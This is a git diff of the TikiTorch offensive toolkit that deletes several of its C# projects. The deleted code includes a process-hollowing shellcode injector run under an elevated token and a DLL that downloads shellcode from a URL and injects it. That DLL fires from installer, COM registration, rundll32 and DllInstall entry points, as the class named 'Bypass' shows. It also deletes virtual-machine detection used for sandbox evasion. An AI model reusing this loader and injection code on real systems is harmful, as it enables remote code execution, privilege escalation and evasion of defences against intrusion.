a/TikiSpawnAs/TikiSpawnAs.csproj b/TikiSpawnAs/TikiSpawnAs.csproj deleted file mode 100644 index 73d254e..0000000 --- a/TikiSpawnAs/TikiSpawnAs.csproj +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - Debug - AnyCPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE} - Exe - TikiSpawnAs - TikiSpawnAs - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/packages.config b/TikiSpawnAs/packages.config deleted file mode 100644 index c2bf608..0000000 --- a/TikiSpawnAs/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/App.config b/TikiSpawnElevated/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawnElevated/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/FodyWeavers.xml b/TikiSpawnElevated/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawnElevated/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/FodyWeavers.xsd b/TikiSpawnElevated/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawnElevated/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/Program.cs b/TikiSpawnElevated/Program.cs deleted file mode 100644 index d769b36..0000000 --- a/TikiSpawnElevated/Program.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using System.Threading; - -using NDesk.Options; -using TikiLoader; - -namespace TikiSpawnAsAdmin -{ - class Program - { - static void Main(string[] args) - { - string binary = null; - int elevatedPid = 0; - bool help = false; - - byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String("")); - - var options = new OptionSet() - { - { "b|binary=", "Binary to spawn & inject", v => binary = v }, - { "p|pid=", "Elevated PID to impersonate (optional)", v => elevatedPid = int.Parse(v) }, - { "h|?|help", "Show this help", v => help = true } - }; - - try - { - options.Parse(args); - - if (help || binary == null) - { - options.WriteOptionDescriptions(Console.Out); - return; - } - else - { - var hollower = new Hollower(); - hollower.HollowElevated(binary, shellcode, elevatedPid); - //while (true) - //{ - // Thread.Sleep(1000); - //} - } - - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - } -} \ No newline at end of file diff --git a/TikiSpawnElevated/Properties/AssemblyInfo.cs b/TikiSpawnElevated/Properties/AssemblyInfo.cs deleted file mode 100644 index f989d8b..0000000 --- a/TikiSpawnElevated/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiSpawnAsAdmin")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiSpawnAsAdmin")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("1f707405-9708-4a34-a809-2c62b84d4f0a")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiSpawnElevated/TikiSpawnElevated.csproj b/TikiSpawnElevated/TikiSpawnElevated.csproj deleted file mode 100644 index 42d4f43..0000000 --- a/TikiSpawnElevated/TikiSpawnElevated.csproj +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - Debug - AnyCPU - {1F707405-9708-4A34-A809-2C62B84D4F0A} - Exe - TikiSpawnElevated - TikiSpawnElevated - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/packages.config b/TikiSpawnElevated/packages.config deleted file mode 100644 index c2bf608..0000000 --- a/TikiSpawnElevated/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiThings/FodyWeavers.xml b/TikiThings/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiThings/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiThings/FodyWeavers.xsd b/TikiThings/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiThings/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiThings/Program.cs b/TikiThings/Program.cs deleted file mode 100644 index feacfeb..0000000 --- a/TikiThings/Program.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Net; -using System.Diagnostics; -using System.Windows.Forms; -using System.EnterpriseServices; -using System.Runtime.InteropServices; - -using RGiesecke.DllExport; -using TikiLoader; - -[assembly: ApplicationActivation(ActivationOption.Server)] -[assembly: ApplicationAccessControl(false)] - -public class TikiThings -{ - private static byte[] GetShellcode(string url) - { - WebClient client = new WebClient(); - client.Proxy = WebRequest.GetSystemWebProxy(); - client.Proxy.Credentials = CredentialCache.DefaultCredentials; - string compressedEncodedShellcode = client.DownloadString(url); - return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode)); - } - - private static int FindProcessPid(string process) - { - int pid = 0; - - int session = Process.GetCurrentProcess().SessionId; - - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) - { - if (proc.SessionId == session) - { - pid = proc.Id; - } - } - - return pid; - } - - public static void Flame() - { - string binary = @""; - string url = @""; - - byte[] shellcode = GetShellcode(url); - int ppid = FindProcessPid("explorer"); - - if (ppid != 0) - { - try - { - var hollower = new Hollower(); - hollower.Hollow(binary, shellcode, ppid); - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - else - { - Environment.Exit(1); - } - } - - public static void ExecParam(string a) - { - MessageBox.Show(a); - Flame(); - } -} - -[System.ComponentModel.RunInstaller(true)] -public class TikiThing : System.Configuration.Install.Installer -{ - public override void Uninstall(System.Collections.IDictionary savedState) - { - TikiThings.Flame(); - } -} - -[ComVisible(true)] -[Guid("31D2B969-7608-426E-9D8E-A09FC9A51680")] -[ClassInterface(ClassInterfaceType.None)] -[ProgId("dllguest.Bypass")] -[Transaction(TransactionOption.Required)] -public class Bypass : ServicedComponent -{ - public Bypass() { Console.WriteLine("TikiTorch!"); } - - [ComRegisterFunction] - public static void RegisterClass(string key) - { - TikiThings.Flame(); - } - - [ComUnregisterFunction] - public static void UnRegisterClass(string key) - { - TikiThings.Flame(); - } - - public void Exec() { TikiThings.Flame(); } -} - -class Exports -{ - - [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] - public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) - { - TikiThings.Flame(); - } - - [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllRegisterServer() - { - TikiThings.Flame(); - return true; - } - - [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllUnregisterServer() - { - TikiThings.Flame(); - return true; - } - - [DllExport("DllInstall", CallingConvention = CallingConvention.StdCall)] - public static void DllInstall(bool bInstall, IntPtr a) - { - string b = Marshal.PtrToStringUni(a); - TikiThings.ExecParam(b); - } -} \ No newline at end of file diff --git a/TikiThings/Properties/AssemblyInfo.cs b/TikiThings/Properties/AssemblyInfo.cs deleted file mode 100644 index 10a8dcd..0000000 --- a/TikiThings/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiDLL")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiDLL")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("06c247da-e2e1-47f3-bc3c-da0838a6df1f")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiThings/TikiThings.csproj b/TikiThings/TikiThings.csproj deleted file mode 100644 index f5d8ae6..0000000 --- a/TikiThings/TikiThings.csproj +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - Debug - AnyCPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F} - Library - Properties - TikiThings - TikiThings - v4.5 - 512 - true - - - - - true - full - false - bin\Debug\ - - - prompt - 4 - x64 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll - False - - - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - - \ No newline at end of file diff --git a/TikiThings/packages.config b/TikiThings/packages.config deleted file mode 100644 index 270475c..0000000 --- a/TikiThings/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiTorch.sln b/TikiTorch.sln index b7898b4..a18e9ce 100644 --- a/TikiTorch.sln +++ b/TikiTorch.sln @@ -3,21 +3,9 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29001.49 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnAs", "TikiSpawnAs\TikiSpawnAs.csproj", "{97421325-B6D8-49E5-ADF0-E2126ABC17EE}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnElevated", "TikiSpawnElevated\TikiSpawnElevated.csproj", "{1F707405-9708-4A34-A809-2C62B84D4F0A}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}" -EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiLoader", "TikiLoader\TikiLoader.csproj", "{806C6C72-4ADC-43D9-B028-6872FA48D334}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiCpl", "TikiCpl\TikiCpl.csproj", "{40C4388B-769D-4170-8DB1-C659AE8F45C9}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiThings", "TikiThings\TikiThings.csproj", "{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiVader", "TikiVader\TikiVader.csproj", "{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiService", "TikiService\TikiService.csproj", "{FC700AC6-5182-421F-8853-0AD18CDBEB39}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -29,42 +17,6 @@ Global Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.Build.0 = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.Build.0 = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.Build.0 = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.Build.0 = Debug|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|x64.ActiveCfg = Debug|Any CPU @@ -77,54 +29,18 @@ Global {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x64.Build.0 = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.ActiveCfg = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/TikiVader/ActiveDirectory.cs b/TikiVader/ActiveDirectory.cs deleted file mode 100644 index 57d25da..0000000 --- a/TikiVader/ActiveDirectory.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.DirectoryServices.ActiveDirectory; - -namespace TikiVader -{ - public class ActiveDirectory - { - public static string GetComputerDomainName() - { - Domain current = Domain.GetComputerDomain(); - return current.Name; - } - } -} \ No newline at end of file diff --git a/TikiVader/Host.cs b/TikiVader/Host.cs deleted file mode 100644 index 2a548a2..0000000 --- a/TikiVader/Host.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using System.Management; - -namespace TikiVader -{ - public class Host - { - public static string GetMachineName() - { - return Environment.MachineName; - } - - public static bool IsVirtualMachine() - { - using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) - { - using (var items = searcher.Get()) - { - foreach (var item in items) - { - string manufacturer = item["Manufacturer"].ToString().ToLower(); - - if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) - || manufacturer.Contains("vmware") - || manufacturer.Contains("xen") - || item["Model"].ToString() == "VirtualBox") - { - return true; - } - } - } - } - - return false; - } - } -} \ No newline at end of file diff --git a/TikiVader/Network.cs b/TikiVader/Network.cs deleted file mode 100644 index 3a4fa75..0000000 --- a/TikiVader/Network.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Linq; -using System.Net.NetworkInformation; - -namespace TikiVader -{ - public class Network - { - public static string GetMACAddress() - { - NetworkInterface nic = NetworkInterface.GetAllNetworkInterfaces().First(); - return nic.GetPhysicalAddress().ToString(); - } - } -} \ No newline at end of file diff --git a/TikiVader/Properties/AssemblyInfo.cs b/TikiVader/Properties/AssemblyInfo.cs deleted file mode 100644 index 48eaf14..0000000 --- a/TikiVader/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ 